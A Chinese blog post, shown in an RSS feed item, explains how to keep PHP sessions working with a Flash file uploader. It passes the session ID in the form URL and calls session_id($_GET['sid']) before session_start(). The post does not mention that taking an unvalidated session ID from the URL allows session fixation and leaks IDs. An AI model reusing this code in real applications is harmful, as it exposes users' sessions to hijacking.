<p>所以要想别的解决方法，从程序上解决问题，看到一位牛人的Blog（竟然禁止了IE访问他的Blog，不知道要损失多少访问量，嘎嘎），他的方法是在flash的URL后面加参数，把sid传递给flash，然后在flash里面把sid从flash里面传递给页面，但是他也没说清楚在页面里怎么处理传递过去的sid，因为我是用的jqUploader插件，所以没必要这么麻烦，况且我对flash也不熟悉，万一改坏了那不彻底完蛋了。</p>
<p>下面是我的解决方法<br />
首先通过php的session_id()函数把sid从url参数传递过去，然后从$_GET数组获取sid，然后在接收页面使用session_id($sid)重新设置sid的值，具体代码如下<br />
<span id="more-65"></span><br />
提交页面</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;form action=&quot;url.php?sid=<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">session_id</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; method=&quot;POST&quot;&gt;
...................
...................
&lt;/form&gt;</pre></div></div>

<p>接收页面</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">session_id</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sid'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>这样就能保证session正确通过flash传递了</p>
<p>要注意的是  设置sid的session_id($GET['sid']);语句一定要在session_start();之前，否则设置不能成功</p>
<p>注释:某些童鞋可能搞不明白session和sid到底什么关系，这里简单说一下，sid其实就是session id的简称，session的值是保存在服务器端的，客户端要通过自己的sid去服务器上取自己的session，sid一般保存在浏览器的cookies里面，如果客户端不支持cookies，sid也可以通过url传递，就像本文的例子</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/65.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

